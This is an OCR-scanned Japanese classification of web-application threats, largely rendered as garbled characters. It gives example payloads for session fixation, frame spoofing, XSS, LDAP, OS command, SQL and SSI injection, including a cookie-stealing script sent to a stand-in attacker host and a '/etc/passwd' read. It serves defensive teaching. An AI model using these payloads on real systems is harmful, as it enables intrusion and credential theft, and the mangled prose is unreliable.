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THHERATER) TR, £y ar QYRS FELIE, Web L THaD
A—FDITHERONTLENET  Web bDOT 7o MMEREA.
ol ERDLOEATEGLIZBHREZ Y M DR—LR—=I(21TH
BBE FDI—FHTSHVFOBEESHDIFY, HHENT /2R
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LTWAR—DZRonFd  BHEO Y3 D (FHESALGLD
T.REBEHIZRACIAEDRTEERSNT (S BHEO Y 3V E
RonhZFzd,

S E 3CHk
“Dos and Dorl' ts of Client Authentication on the Web’, Kevin Fu, Emil Sit,
Kendra Smith, Nick Feamster — MIT Laboratory for Computer Science

http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

24 +wyiaroEE

Ty a v DEEX. a—F Dty a3 ID DEZEEEZEELTLES
WEAHETT =YL TS Web A FDHEBEIZEH KYFET AN
tyiar D DEFIEET I HEBIEISAHBYET , VAXH (LR
DUTTa T REMNS, HoMLHIE>THULV=HTTPJS T X% Web
SAMIBUVENTEFERICETRUVET . A—F Dy 3> ID #E
ETHEKHEEIZDODID TATAVT5DFFEET, A—HH0OY5
10T DL HEBEBIEEFADEY IV ID DEZFEWN. 51
DANEENFET,

IDDIENSRBE, By avEBURATLAICIE—HRMIZ2 DD4247F
NHYET  FTX.EDESILED ICHBEKRLEIDATLTY , RiE

Y—N\BI TERINTEREITE RO D BIE BRIV AT LTY , EXE
VAT LEE Web A REDYRMYET I, i3y ID #FELET
BbiTonEzEd, BRIEGOATLREE WEE Iy avIcE
(trap—session) |Z T #HTHDLELBHYE T, CNTERABIIZ Web A+
ERYRYL, ZALTIRLIEWNEIIZLET,

t//ﬂ/@@}-&' ﬂbf’ﬁxﬂﬁﬂﬁﬁﬂ%bfb‘&(fﬂli~ Foa /ﬁﬁl_
HEETETH=H0HI2tyiarEzE->THNAED Web AL TEH.
WEEZEHEFONET, v a2 ID ZFIBALTLNS Web A RE,
BIEIYF—R—XTT A, URL & hidden T+ —LTs—ILREFERI
FAShTWET,
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BRGNSV F—R—AD Ly avd. KRBT LONEETT ]
ERMO>TWSREREDKRBAE. Vv —DEEITHNVEESH T
WEY,

Web A zOSG A LI=&ICA—H Dty ar ID XL D &L xR
Iz, BV a DB EIZITEE D BNV —ANT=KEAHYET . K
BENEBHIZTHLADIDIE. A—FHNOS (2T BRI TT,

{1
Y a EEREIL. BE 3 DDRATYIEBAET,

1) By avDERE

WEE(II—T Ve D Web A LTIyl av D EIZEY., £y
AV DEREFELET HLLE. MEBDIZFERT Sy av DERE
EITESTLLI BRICKHTIE. A BZADEEY IV DIEIX.
#2UIRL Web A REDPYRRY T HIEICEKY, LG ITNIXER
[CLERITRFNIDNTEE A

2) Ly arDEE
WEEX. EtyiavnEx1—Y DI SOFICANAHA, 1—
YDty ar ID ZEELET,

3) vl arDER

WEEL, 3—T YLD Web A MZIA—FHNOATATH5DEFH
F9, A—YHAATAUT 5L BESNF-zYiar D AMfEHA,
HEBENFE-IYET,

A—HDEvav DECEER. ROFETRETEEY,

DAT RO RYYTREFEL, FiLvtEyiar ID DIEFFEIT
RASVIZFRB T BED Web A MNZBERETHIVARYAMRY) T T4
VO DMEENL. BEDIVYF—DEZBETIDIZFEHLAET,
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o —R DA

http://example/<script>document.cookie="sessionid=1

234;%20domain=.example.dom”;</script>.idc

META 20 % E01=0vF—DH1T
COFEIERDHDEUTNES M, VARF AR T T4 T %
REHEL. METAZT LS D HTML DR 7Y T2 DEAZRLTLS
BRICAEMTY,

2 — R DY

http://example/<meta%20http-equiv=Set-Cookie%20

content="sessionid=1234;%20domain=.example.dom”>.1idc

HTTP LRAKRU AANYE —%F o=y X —DHEIT
WEEH(XA—SYMZILTULVS Web Ak, SELITFNIEFDRACIZ
FAEd 2thDH AR LT, Eyiary D 9vF—%RITIEFET . E
HIE LA EE(ESABHYFET,

o ZTDRA D WebH—/\(fzEZ L, LWWVIIFEIZEEINTLNVS
WAP H—/V)IZAYAL,

o A—HMDDNSH—NEZRIALT, ZORALUIZHEZE D Web
PY—nNEEELEMT S,

o FDRAAUIZAIEL Web H—/\%FIH EITA(I=EX I,
Windows2000 KA (ZWNB T —ORT—23V E T, 3RTH
J—HORAT—23 (& DNS FALUIZERELTLNS) &

o HTTP LRKRUVREREIT HHEEITD,

AR RUMICES Y avBEIERE ., kMG yF—F=EA L.
WEAABMN 10 F)ERITIHIETHLRRTEET, COIvF—IE.
A—YNaAVE1—2FBEHITTH, tyiavFBEEL-FFICL
THEET,
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=2 — R D PP
http://example/<script>document.cookie="sessionid
=1234;%20 Expires=Friday, 3201

Jan2010%2000:00:00%20GMT"”;</script>.idc

S & Xk

“Session Fixation Vulnerability in Web—based Applications”, By Mitja
Kolsek — Acros Security
http.//www.acrossecurity.com/papers/session_fixation.pdf

“Divide and Conquer’, By Amit Klein — Sanctum
http.//www.sanctuminc.com/pdf/whitepaper httpresponse.pdf

3 V347> MUITORE

ZDEHLIVTIE Web AN A—FHERTIREICERFTHT
T, A—HH Web A rEINDE. 2 DDT IL—TREIH T -1
ECEHEERNEFENET, 2 —F (XN Web A A IEELH A
TUVERBLTNBELDEERB>TUWET, F-a1—H(E. BH b
M Web A hZHARBIL TOSMICHEINSEIEE>THWEHA CD
EHEEZRADBIGAAZFALT. HEEFILLKOMIDAEEE-ST
A—HERNET,

31 o> oy

BarToviEk,. A —HY#1FFEL Web HARZRRFTINh TSIV Ty
YNERXDED T, SN EMSDEDTIEHRWERhE AW ERMTD—
DTY,

Web R—IIZ[E, BIMIICERSNDHTMLOV TUYEE-TINSECS
NHYET, FEAIE. TL—LDY—RADALE (Kframe
src="http://foo.example/file.ntm|”>)[&X. URL D /NS AMETIEE T=E
9 (http://foo.example/page?frame_src=http://foo.examp le/file.ntml),
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WEE(L. [frame_src]/\T A%
[frame_src=http://attacker.example/spoof.html | [CEEHZ 5N ST
L&De SILTWeb R—UAMRRENDE, TToHDATr— 32/ \—
[ZIFEA—THRNBEERS>TLNBR AL U (foo.example) VRSN T=F F
[ZE>TLEWET , LHL. ERITSE T —2(attacker.example) HVIE
RFAVTIUOVEEVELTLEVET,

BEFA—IUDOAVREV N AyE—D HRRICEBEINF20O, /70X
Y ACRI)TTAV T RBIZESI—F DITAIZES T, ARITHEYRA
AT A—FITENTT . TIELR URL ZE>TEREH STz Web
R—IANBEBENLI—YEFESTLHE 1—H(EFTSoF0Osr—3
2 IN— http://foo.example ERTREINTILNAD T, |BEMHIZELTL
FITL&LD, EFEIXHTML 2L —LHY http://attacker.example ZSHEL
TWTHTY.

CORET, A—HEWeb AR THEIISN-EERBEGRENERET,
COEMIE. AT A IA— LAV TIOYDEEMZ EDOTLRY)
) —REZHET-AD Web R—SZEELDIZFIHSNTEELT=,

51

BOTLR))—ADIER ., Web R—UTTLRAN—REHEBHDIZ,
Web YA M BIMIICE RSN Tz HTML JL—LZEFERALTLSELET,
A—HFIERDKIG)0%EIZEYET,
(http://foo.example/pr?pg=http://foo.example/pr/01012003.html),

Web XR—2 D HTML [ETFE D KIIT%GEHTL LD,

T —R O

<HTML>
<FRAMESET COLS="”100, *”>

<FRAME NAME="pr menu” SRC="menu.html”>
<FRAME NAME="pr content”
SRC="http://foo.example/pr/01012003.html>
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</FRAMESET>
</HTML>

FEOHIZHApr1ENSWeb 7T r—aviE, BEA=21—EEIR
[ZHERENT- FRAME SRC 4 LFE T, lpr.content ]I 7L—LIE, )Y
TIRARENFZTLANV)—ZADAVTUVERKT HDIZ, URL /ATAS
THBpgl MOEZM>TEFET L. KEBEHNEED URL ZHE
ALT,
http://foo.example/pr?pg=http://attacker.example/spoofed_press_rele
asehtml ELTZHEDTEDTLEI D TpglDEEZEBAELIELLFIVIL
BWEHTML [ETFROKIICHEEMBLNFEE A,

T — R DY

<HTML>

<FRAMESET COLS="”100, *">

<FRAME NAME="pr menu” SRC="menu.html”>
<FRAME NAME="pr content” SRC="

http://attacker.example/spoofed press release.html”>
</FRAMESET>
</HTML>

TR —HIZIZ, Tattacker.example JELNSED AT Y DAY TH
Y, EXGREHRENSETLNDIIICRZAZET,

S & Xk

“A new spoof- all frames—based sites are vulnerable’” — SecureXpert
Labs

http.//tbtf.com/archive/11—17-98 html#s02
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3.2 HYORYARRY)VTT4Y5

JARYALRI)TT42T (XSS)E. Web A MHEBEARELT:
ETRAZRYRLETIEIREFET. A—YDOITSUYTA—F
SNFET, a—FBEEIL. Z8E HTML A5 JavaScript TEHMNF T A,
VBScript 42 ActiveX. Java, Flash, Z®D T 5 A HR—rF BH AT
[CETERASATLED,

REENLI—HF DT SO TEHSDI—FEZERITIED L, a—FIFR
ATA4T LTS Web A bDtEF2)T4aVTHIRNI —2)TEIT
FTHEITHYET , Aa—FIXZDERLANILT, TS5IHFIZE->TT S
TATELEALRMEBET—3ELHARLY BIEL-Y, B5EL-YTEE
T VAR ACRIYT T4 T (200N =2 —H (X, THOUREINA
Sy dENIYF—DEEN), TSI IIDBERRICUA A LIRS
NEM, SN TINS Web YA -ARELEARERIAVTUOVYERTT
EOELNFERA, VARG AR )T T4V HEIL, 2 —H & Web
YA EIDEFEREFZRERANOCHIELETS,

HJOARYARRI)TTFA0 0 HEIZIX, E#EGMLD O EBGENEED
D2EFELAHYET , FFBEMLTIRE L., HFAl IO E=RIELGI—F
THREINTIDEA—T NN DIDBENHYET, TN I%EER
NBE,URL [2HDO—FHREN, —H D Web TS5 TEITSI
Y, MGG EIL, —FHRO—FER7FT 5 Web YA FIFIER
O—RAEFEIN-FICRIYET,
HEENFOA—TIEDHIEL T, BRIRANDIRFEDO Web A—)L Ay
—2 Web FyybhV IRz T7HAHBYET, LGN I—HI(X &
DI OE9)9 0T BREIFIEL, F=Ea—FH A A ENT- Web R—
OERBFEIT TN TLENET,

/il

el 72 i e

54D Web A ME. BERFHL— VA E—SE R TEBBTIR
ERITCVES. BRESI—F ORBERRT =Dty
D Sy —%HoT, BRAHL—FEEHT 5O H—RHTT . K
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EENEAIZ/EYIAAT JavaScript Z Ay tE—UIZ AN TIRFELIZET
BE.ZCDAYE—TFFAFEA—YIX, I9yF—ETHOUREDOLBNT
LEWNET,

7% —a i e — N O P

<SCRIPT>
document.location=

'http://attackerhost.example/cgi-bin/
cookiesteal.cgi?'+document.cookie
</SCRIPT>

AL ) 70 BB

Web FR—2 )LD %LIE, Web A EEAERICRET. AT 1LY

A—HFITTKSTZE, KBTADEBIDIAIEMATNET , BFICZIE.

A A L= —FICBEEL-T—4h'. URL DU XFF| 258k
N, BHEIZCKRTINDGELHYET,

R—4A)L®D URL Dl
http://portal.example/index.php?sessionid=1231231
2&username=Joe

FEEDOHITIE. 21— LT Joe INURLIZEE RSN TWVET, COFER.
[ESZF. Joe SAIELNDIAYE—D%F Web R—DIZRRLET  E
EMNURLIZCHDIL—HFREADIT4—ILREHRZAL. V9vF—%E&D
JavaScript #F ANLIRAAL E. FDA—H DT HIOUREFIETES LS
[ZIEYET,

KERHDDAHT-BI%. JavaScript B URL [CHARAFN TS E, IRLLVE
BLATLEY, LI THEE (T, KB IEXDBFID L2, RIEL
F—4A% URL T>a—KLET,
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JvF—%%EEL URL O URL T>a—R D4l
http://portal.example/index.php?sessionid=1231231
2&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6
D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74
$74%7T0%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%
74%2E%65%78%61%6D%70%6C%$65%2F%63%67%69%2D%62%69%6
E$2F%063%60F%0F%0B%69%65%73%74%65%61%6C%2E%$63%67%69
$3F%27%2B%64%6F%63%75%6D%65%60E%74%2E%63%6F%0F%6B%
69%65%3C%2F%73%63%72%69%70%74%3E

I9¥—%EL URL OT3—F Dl
http://portal.example/index.php?sessionid=1231231
2&username=<script>document.location="http://atta
ckerhost.example/cgi-bin/cookiesteal.cgi?'+docume
nt.cookie</script>

S & Xk

“CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in
Client Web Requests’
http.//www.cert.org/advisories/CA-2000-02.html

“The Cross Site Scripting FAQ' — CGISecurity.com
http.//www.cgisecurity.com/articles/xss—faq.shtml/

“Cross Site Scripting Info”
http.//httod.apache.org/info/css—security,/

“24 Character entity references in HTML 4
htto./ www.w3.org/ TR/ html4d/sgml/entities.htm/

“Understanding Malicious Content Mitigation for Web Developers”
http.//www.cert.org/tech_tips/malicious_code mitigation.htm/

“Cross—site Scripting: Are your web applications vulnerable?’, By Kevin
Spett — SPI Dynamics
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http.//www.spidynamics.com/whitepapers,/SPlcross—sitescripting.pdf

“Cross—site Scripting Explained’, By Amit Klein — Sanctum
http.//www.sanctuminc.com/pdf/WhitePaper CSS_Explained.pdf

“HTML Code Injection and Cross—site Scripting’, By Gunter Ollmann
http.//www.technicalinfo.net/papers,/CSS.html

4 a2 FOETT

ZDtEU AV TlE Web YA ETYE—FITUFDETEIE-T-1
BIZDWVTI/WLET  Web HAMITART, A—FDAAEFHLTE
KEMNMEZTULVET, BIEL Web R—CEERT AT REAAIILT
BDIZ, A—FDAADRIKERAEINE T, COTOELRNALEIZEST
SNBTNIE, REEIZOAIURFOETERSATETCLEVET,

4.1 NYIT7PA—\oO—

NYI7A—N\TO—DERIF AER)D—EHELEEXZTHET. 7T
)r—2a0DI7A—EHSATHIHRETT,, /\vI7A—/"\Ta—I[&,
IS5—IRREICRACEITED ., KK<HAVINITTDORMETT ., DT
S—IRENFEET LD, FERLIz/N\VIF7H A XEBZTAEYIC
T—REEEFALHETT . \YI70NA—\D0—F 5L BYE oA
FEYFRLRIZEEZEZEN VI T7IETA—ILFELLITOSY a2l
TLEWET,

FIRZR (THEWNE, ARICEYSENT-A ANV T7EA—/\TO—
SE,. XA TALEKSADRIERRELET,

INYT7A—I\TO—(L, AB'YZEFLTY IR TS EH<T S
EU—EREBRBLELTEHATEES . TNLIYLERETDIL.
INYTFA—N\TO—KREN, 7IUr—aon70—%% %, EEL
TWENS-BEZSETLESZETT  CORREFRIT AEFKLK
DhHYET,

INYTFA—N\TO—DIEHEMEIX, REvIRA 2% LEZL, 0T
SLEVFALIMN T, AELGGSEETLTEELT -,
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N I7A—N\TO—IZ. TATSLDEHEZLETREITHDIZHLFERSN
TE%ELT=.

INYIT7A—N\TO—DEFEHEIE. FHREFLVTAEEZTEHY SN
=T U0 Web H—N\FRLETEZELT -,

LML Web 7T —S3 U LARIILTIE, FOLSHIEITEBEIZITF
OTWEFA, —BOEBRIE. WEHEIT7IT)r—3avny—R
O—FOVIRIZTDNAFTVEERTIDENHS=-HTT , HE
BT VB RATLIZHANDRELA—REELBZITNIXESED
T. RGN BEIHEF/LEGY . T 50N FEEICH LGYE
ERR

INYIT7A—nN\T7O0—DMfEE L. C & CHDEIBTAY SIS EEE
TEREELET, /\wI7A—/\T7A—[L. CGl TAT T LK Web R—
ONRCTATSLICTIRALI=BIZRHRAELET,

S & Xk

“Inside the Buffer Overflow Attack: Mechanism, Method and Prevention’,
By Mark E. Donaldson — GSEC
http.//www.sans.org/rr/code/inside_buffer.php

“w00w00 on Heap Overflows”, By Matt Conover — wOOw0O Security
Team
http:// www.wOOw0O.org/ files/articles/heaptut.txt

“Smashing The Stack For Fun And Profit’, By Aleph One — Phrack 49
http.//www.insecure.org/stf/’smashstack.txt

42 BAXFIHE
SAXFIHED, JOAEVERIZTIERTEXFINERSATS
DWREZEL,. 7T r—2avmo0—4EELET,
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MEsstENRETAHDIE. A —UHh iR SN =T—2H . C P C+D
HAHBE(F=EZ L. fprintf A5 printf. sprintf. setproctitle. syslog ZF)H
EXXFIDOANELT, ZOFEFFIASNSEFZEETY,

WEED, printf DXFEBDEXFHIF=EAIEX., T%F]. M%pl.
[%n NZ/SSAREELT Web 7T Tr—Sao~NET E TRRDELIIZH
UEd,

o H—/N\ETHEEDI—FEETT D,
o RBVIMLIEZHRAHT
o EIAUT—LaLTFILMEILEITYYaEE S,

Bl

H5D Web 7T r—,a02, A—HIBTED emailAddress /X5 A2H3EH
BELFET . 7TV —avid. COEHEE printf #ZE->TES
HLET,

printf (emailAddress) ;

emailAddress /NT AR B T-{EIZE#RXFMN A>TV L, printf [
TR FEBFTL. SHICRELEEIEEFERALET . TDL54551%
MNEELEFNIE, printf A EET DIEBFIZHEL . REVI D
T—AREELNET,

CDRIGT—ATEALONDERAXFIKRER, ROAY T,

o RAYIMNLT—REFRL MEBEHED printf EHOEIXFER
bh(E, EMXFOMx | Z(BEIE>TEDHIET, REVY
LTDEZFED D,

o TOVADAEUMNLXFHZEZTL : IMBE printf AEDH A
FRonNIEL. EM-XFDO%s IBFEEDMEIZI-EYELT=HIZ,
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MOE|XFEFEIGEELHD)THE L. AT LOFEEDAE
DX FHEFHED D

o JOVADAELIZEHUEZEZ AL  WEE (X% EHX
FEFEDN ARV EDEDFUBEIZLEREEEZ AL, (LR IL.
TOERAERZHIEL TS TOTSLOEERISTICLES
LizY. Ry ED)A—2FRLRIZEEZLEEYT D) o

S5 3k

“(Maybe) the first publicly known Format Strings exploit’
http.//archives.neohapsis.com/archives,/bugtraq/1999-q3/1009.html

“Analysis of format string bugs’, By Andreas Thuemmel
http.//downloads.securityfocus.com/library/format—bug—analysis.pdf

“Format string input validation error in wu—ftod site exec() function”
http.//www.kb.cert.org/vuls/id/ 29823

43 LDAP A YxHiayv

LDAP /¥ av(E,. A— DA NS LDAP XEHAIL T, Web
HAMIATEZ S5 Z5HERMTY .

Lightweight Directory Access Protocol(LDAP)(&. AA—T U iREN T
Ok3JL T, X500 TALYVM) H—ERIZEWEHENEEZLETS,
LDAP JBrIJLIE, TCP D KS3GA 2V A—Fyb-FZU RR—k-TARD
ILTT  Web 7TV —auFa—F MDA NZEFEL, SHHI%E Web
R—D) YT RMAICHRAL LDAP XEERKLET

Web 77— MaA—H DA DhZEEY Y 24 X(BR)TER

W&, MEED LDAP XHEWRSATEDEISITHYET , HEEH LDAP
XEEETENIE, TOERIFaTUREEFLTWSIVR—R UM
EZIE. T —EIR—XHP—/\ O Web 7T — 3P —/\ Web H—
NF)ERICN—Z=Y a3V TEMET A EITRYET . CNITEXRGE
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Fa)Ts EOMEER_LET , TD/N\—2y> 3> T, LDAP Y —|Z
HEIERZRBIVEDLERY BELRY., HIRLIZYTESNSTT,

SQL Aoz  THIRATESEELEREINIE. LDAP 1221y
AV THRILEKIIZERTEET,

il
WaEs 2pm— R (AL Mit )

<html>

<body>

<%@ Language=VBScript %>
<3

Dim userName

Dim filter

Dim 1dapObj

line

line

line

line

line

line

line

line

line

line 9:

line 10: userName =

Request.QueryString ("user")

line 11:

line 12: if( userName = "" ) then

line 13: Response.Write ("<b>Invalid

request. Please specify a

valid user name</b><br>")

line 14: Response.End ()

line 15: end 1if

line 16:

line 17:

line 18: filter = " (uid=" + CStr (userName) + ") "
' searching

for the user entry

line 19:

line 20:

line 21: 'Creating the LDAP object and setting

the base dn

line 22: Set 1ldapObj =
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Const LDAP SERVER = "ldap.example"




Server.CreateObject ("IPWorksASP.LDAP")

line 23: ldapObj.ServerName = LDAP SERVER
line 24: 1dapObj.DN =
"ou=people,dc=spilab, dc=com"

line 25:

line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:

line 29: ldapObj.Search

line 30:

line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write ("<p>")

line 34:

line 35: Response.Write ("<b><u>User
information for : " +

ldapObj.AttrValue (0) + "</u></b><br>")

line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write ("<b>" +
ldapObj.AttrType (1) +

"</b> : " + ldapObj.AttrValue (i) + "<br>" )
line 38: Next

line 39: Response.Write ("</p>")
line 40: Wend

line 41: %>

line 42: </body>

line 43: </html>

O—kFZRTHSDE 10 {TEIZ userName ZE A user /35 AZ THEAE
SN, FTCITELNENESIMEFRIILTLDIDAHLMNET , [EMNZET
T, userName [ 18 1T B T filter T ZE#HILLFE T, COFT=
REHILER LDAP VTV EHMAITHDIZEbHLN, 27 TED
SearchFilter ZMFUH I DIFERINE T, COPY AL HEAR(E
LDAP H—/N\TORWEHLEEZELICHIETEE T, £, TTD
HRLBMZL—YICRTT 53205 40 I TEDI—FIZASE, BELY
BEhEHEEINETEET,
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KEDH

http://example/ldapsearch.asp?user=*

LEEDHIE. user INTARZ* | XFHFEO>TWNVET  CDO/INTAZ(E
OA—RRTIAILAZEEHELY . (Uid=%) THHILENET, 2D LDAP X
(&Y., H—NFuid BHEZETCA T IOMNILEDA T IR THIR
I EIIGEYET,

S & Xk

“LDAP Injection: Are Your Web Applications Vulnerable?’, By Sacha
Faust — SPI Dynamics
http.//www.spidynamics.com/whitepapers,/LDAPinjection.pdf

“A String Representation of LDAP Search Filters”
http.//www.ietf.org/rfc/rfc1960.txt

“Understanding LDAP”
http.//www.redbooks.ibm.com/redbooks/SG244986.html/

“LDAP Resources”
http://Idapman.org/

44 OS5

OS DHHIF. 7TV r—av AHDUEBEELT, ARL—T425
DRTFLDATUREZETTBHIEIZEY  Web HAMZITEEZE5Z B3IX
BHiTTY,

A—HDAAETITI)r—23 0 TERT BRI Web 7T r— 3>
NBEYZH = FA X LEWNE TV r—arh=EzEn, 0S Oavy
FEETIELNETLLY, BTSN URE, OV R—RUMzE
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ZIX. T—EIR—ZAY—/\O Web 7TYHr—3>0H—/\ Web H—/\
EVERU/N—ZY a3V TEFTEINET,

Bl
Perl [X. T—2%HATOELANS/NATHEHBET open XIZEEFET,
NS AN XEEZT7AILLDRRZIZEMLET,

INAT LT DB

# Execute "/bin/ls" and pipe the output to the open

statement
open (FILE, "/bin/ls|")

Web 7)o —avld, RRLEZY, 7o TL—RELTHRIALEEYT S
T7AI% INSARIBETDIGENELLBHBYET , Web 7T —3
UNA—FHISDANEBEIIZH R4 XLENE, REE(X/NSAR
EZZEBEL. MTXFR(ETESB)IooILavUREF T TLES,E
LhWEEA,

Web 77 4r—23>M TR D URL M TFED KIS,
http://example/cgi-bin/showInfo.pl?name=John&temp
late=tmpl.txt

template /NTAIDEEZLERTHET. WEE(X Web 7T r—23
ETZEL. /bin/ls AYURERTIETLEVET .

http://example /cgi—-bin/showlnfo.pl?name=John&template=/bin/Is]
AYYTREBDOKRED &L, TRTZINTUAALLIZ0S DOATURE
FRRIGEITHEEZF>TEITTESLIITLTLET,

Web 77V /r—2av i, A—H DA NZIELDICH =24 X T (2
HEVHLOPTHEASETLES L. REZFVE—FTOSDaTY
FEETTEDIIIHYET =& E. ZZITPHP RV TD—EB
NHYET, CORT) TR EUnix VAT LED) AT LTALIRN)ID
NBEEZRTLET,
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S )La<w ROFELT

exec("ls -la $dir",S$lines, Src) ;

0S MAYUFDEIZTEIOOVOEEMYT HZET Web 7T 77— 3
VIC2BEBDIATUREERTIEET,
http://example/directory.php?dir=%3Bcat%20/etc/pa
sswd

Zhldk/etc/passwd Z7AMILORNBERY BT ZEIZHYFET,

S E 3CHk

“Perl CGI Problems”, By RFP — Phrack Magazine, Issue 55
http.//www.wiretrip.net/rfo/txt/phrackb5.txt

(See “That pesky pipe” section)

“Marcus Xenakis directory.php Shell Command Execution Vulnerability’
http.//www.securityfocus.com,/bid/4278

“NCSA Secure Programming Guidelines”
http.//archive.ncsa.uiuc.edu/General/Grid/ACES,/security/programmi
ng/#cgi

45 SQLAV>zHiav
SQLA> oz aviE,. A— DA HH S SQL XHFFAIL T, Web H
AMITEBZEZ AREFEMITY,

Structured Query Language(SQL)I&, T—2R—XI[ZHT)EEHDIZ
HEL=T 053 5 EEETY  /MNEEMNDED R RBICTIHALBNS
BEEFE ST —ARN—RATT)r—3>DKREBH . SQL X&EfFE-
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TT7ItATEET, SQLIXANSI LISO A DBIIZH-TLNET, L
ML, SQL #H R—FL TS T—IR—RBE G D ZLIE, ZHEFEEIC
JMBEDIEEREHELTLNES  Web 7TV —2avid, a—FHASDA
HEFEL, ENRYE Web R—DY ST XNAIZHRS L SQL XEERRLE
ERS

Web 7T r—aoMaA—H DA NEEYZH 24 X TEHENE,
WEEMN/NNYIIRD SAL XDEBEHRSATEET . HEED
SQL XZEBETENIE. FOATUREERITT a0 R—RUNTF—4
R—ZXH—/\ Web 7TUr—32H—/3 Web H—/\F)ERIL/S—
Sy arV TRITEINDIEIZHYET , CORE(ZKH>T. MEE (X
T—AR—ZDE|HZEZEL. SSICVATLLETIATUREEITTES
FIITGEYET,

LDAP /203 THIHATE S ELEKREM K. SQLM>o )
AV THRILKSICEATEEY,

il
WebRA—XDERIETA— LD, RO ELS5Ga—FRIZHE- TS ELFET,

SQLQuery = "SELECT Username FROM Users WHERE
Username = '"" & strUsername & "' AND Password = '""

& strPassword & "'" strAuthCheck =
GetQueryResult (SQLQuery)

ZDO—FTIX . BAREIITA—LDOSI—FDANEZTERY. SQL
HIT)IZEERASIAATNET,

BB EIE, TROLIICAT A ENRT—REANTET,

Login: ' OR ''="
Password:' OR ''="
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59 5E.SQLOYTIFRD KSIZHYET,

SELECT Username FROM Users WHERE Username = '' OR

''=''" AND Password = ''" OR '"'=""

A—YNAALF=T—RE Users T—IIILZLEEETIZ. 2OHITYIE”
(EXFINEEXFFELLBRLTWET , cNIXEZFIRT ZEIZHY,
WEEIL Users T—TILDTRHOI—HFELTAT AT BT EITHY
x£9,

SQLA> oz avIZidx, R<AMonf-AEMN2oHYEST . T &
(Normal)DSQLA x93 ER ZEUWLNBIind)SQLA 293> T
T, EBDEDIE. EAMESQLA D230 T REBEHIZILRAKRY
AFCHBIIT—AVvE—VICEFEFNTWAEREF->-THOIT)EHH
MT.HAREOIIVICBELDII)EEHEET,

EHOSQL A V=g
8T AR union select XFIBIMT A ET B EHIXT—EIR—XI[ZT
DERTESENEI>NZETAMET,

http://example/article.asp?ID=2+union+all+select+
name+from+sysobjects

SQALY— /N [EIREMI=EHLBTT—FIRLTLAHTLLD,

Microsoft OLE DB Provider for ODBC Drivers error
'80040el14!
[Microsoft] [ODBC SQL Server Driver] [SQL Server]All

queries 1n an SQL statement containing a UNION
operator must have an equal number of expressions in
their target lists.

DAY E—TIZK->T, HEBFESDSQLXAEET HIZIEL.
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ELWHSLBSZHALGZTFNIENTEL, E9MNYET,

R0 SQLA vV ayv

RABWNSQL A2z H2arTlE, =N\ ET—2R—ADI5—%
REF N2, FIRELEES-EP DD MY PTNIZT—R—IFRL
T, CDBETHSQAL AP aVIIAIRETT A, BEIZIEIER
TEFEFA. RALL SQL 1002923 %R BT H5— ML AEIL.
BAXE/NTAMEIZANSZETY,

Web A MITERDVITAMEERITLTHBE.
http://example/article.asp?ID=2+and+1=1
M. RL Web R—TFRDKIITIRLTLSBIFT T,
http://example/article.asp?ID=2

HERES SQL XD Tand 1=1 JIFEICEENSTY,

Web A MITERDIVITAMEREITLTHDE.
http://example/article.asp?ID=2+and+1=0

Web ﬂ’ff‘[i%ﬁ@]tﬁla_éﬁ??ﬁ\\ 1E-I-:E)/\o_:)§ﬁb—c:t;l;\7b\—c°j_o
I SQL X DTland 1=0 | N E BB T,

AR ZLZSQL AP oiavIZoon 0T e, EE(Z—
ERh-oTLESE. COMBHITLIVEEIZERTEET . BAIC
EOTIK. EED SQLAV OO avEFIATAIYLEETY,

S5 3k

“SQL Injection: Are your Web Applications Vulnerable” — SPI Dynamics
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http://www.spidynamics.com/support/whitepapers,/ WhitepaperSQLInje
ction.pdf

“Blind SQL Injection: Are your Web Applications Vulnerable” — SPI
Dynamics
http.//www.spidynamics.com,/support/whitepapers,/Blind SQLInjection.

pdf

“Advanced SQL Injection in SQL Server Applications’, Chris Anley —
NGSSoftware
http.//www.nextgenss.com/papers/advanced sql injection.pdf

“More advanced SQL Injection’, Chris Anley — NGSSoftware
http.//www.nextgenss.com/papers,/more_advanced sql injection.pdf

“ Web Application Disassembly with ODBC Error Messages”’, David

Litchfield — @stake
http.//www.nextgenss.com,/papers,/webappdis.doc

“SQL Injection Walkthrough”
http.//www.securiteam.com/securityreviews,/5DPON1P76E.htm/

“Blind SQL Injection’ — Imperva
http://www.imperva.com/application _defense_center,/white_papers/blin

d sql server injection.htm/

“SQL Injection Signatures Evasion’ — Imperva
http.//www.imperva.com/application defense_center/white papers,/sql.

injection_signatures_evasion.htm/

“Introduction to SQL Injection Attacks for Oracle Developers” —
Integrigy
http://www.net—security.org/dl/articles/IntegrigylntrotoSQLInjectionA
ttacks.pdf
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46 SSlA4>oxoiay

SSI(Server-side Include)f xS avid, b—N\QIIZITEXE5ZX 5

BT . WBEN Web 7T r—2 30 [2a—REEYRAHBHEIIZL.
EYIAENT-1RIZ Web H—/N\IE, O—HIILTO—FZEETLTLEWVE
¥ SSIAoox o avlE, —/NAITRIRESN - HTML D74ILIZH
AT BHIZ. Web FTUr—aoMNa—FDORFLET—2DOHY =4
ARIZKRBRTHEFERALET,

HTML Web R—U %R TR T BRIIZ. Web H—/\[E SSI XEFEIR-F1TL
THHA—HITWeb R—UZERLET , 7¥—R (FzEA X, BTRIROCY
ANTYY AV TOVEBIRTL) IZE>TIE Web 7T r—3>
[F. A—HFHIRBELI=T—4%F Web R—CDY—XIZHEALFET,

WEEN SSIXZRTTHE MEED 0S AV UFERITTESLIIC
IEof=Y) | REIR—DZFRTRT BEIZ. RSN TLEWI 7LD
ToVEANYT DENDHYET

il

RO SSIBTE MEEN Unix R—ADVATLED root T4L IR
DY ARERFSETLEWVNET .

<l-—-#exec cmd="/bin/ls /" --

TERO SSI 87 &, REH (ST —SA—XEMHXFFIONET FRE
T7ANICHDMET —SEMFIETLENET,
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<!--#INCLUDE VIRTUAL:"/M"__>

S5 3k

“Server Side Includes (SSI)' — NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.htm/

“Security Tips for Server Configuration’ — Apache HTTPD
http://httpd.apache.org/docs/misc/security tips.html#ssi

“Header Based Exploitation: Web Statistical Software Threats’ —
CGISecurity.com
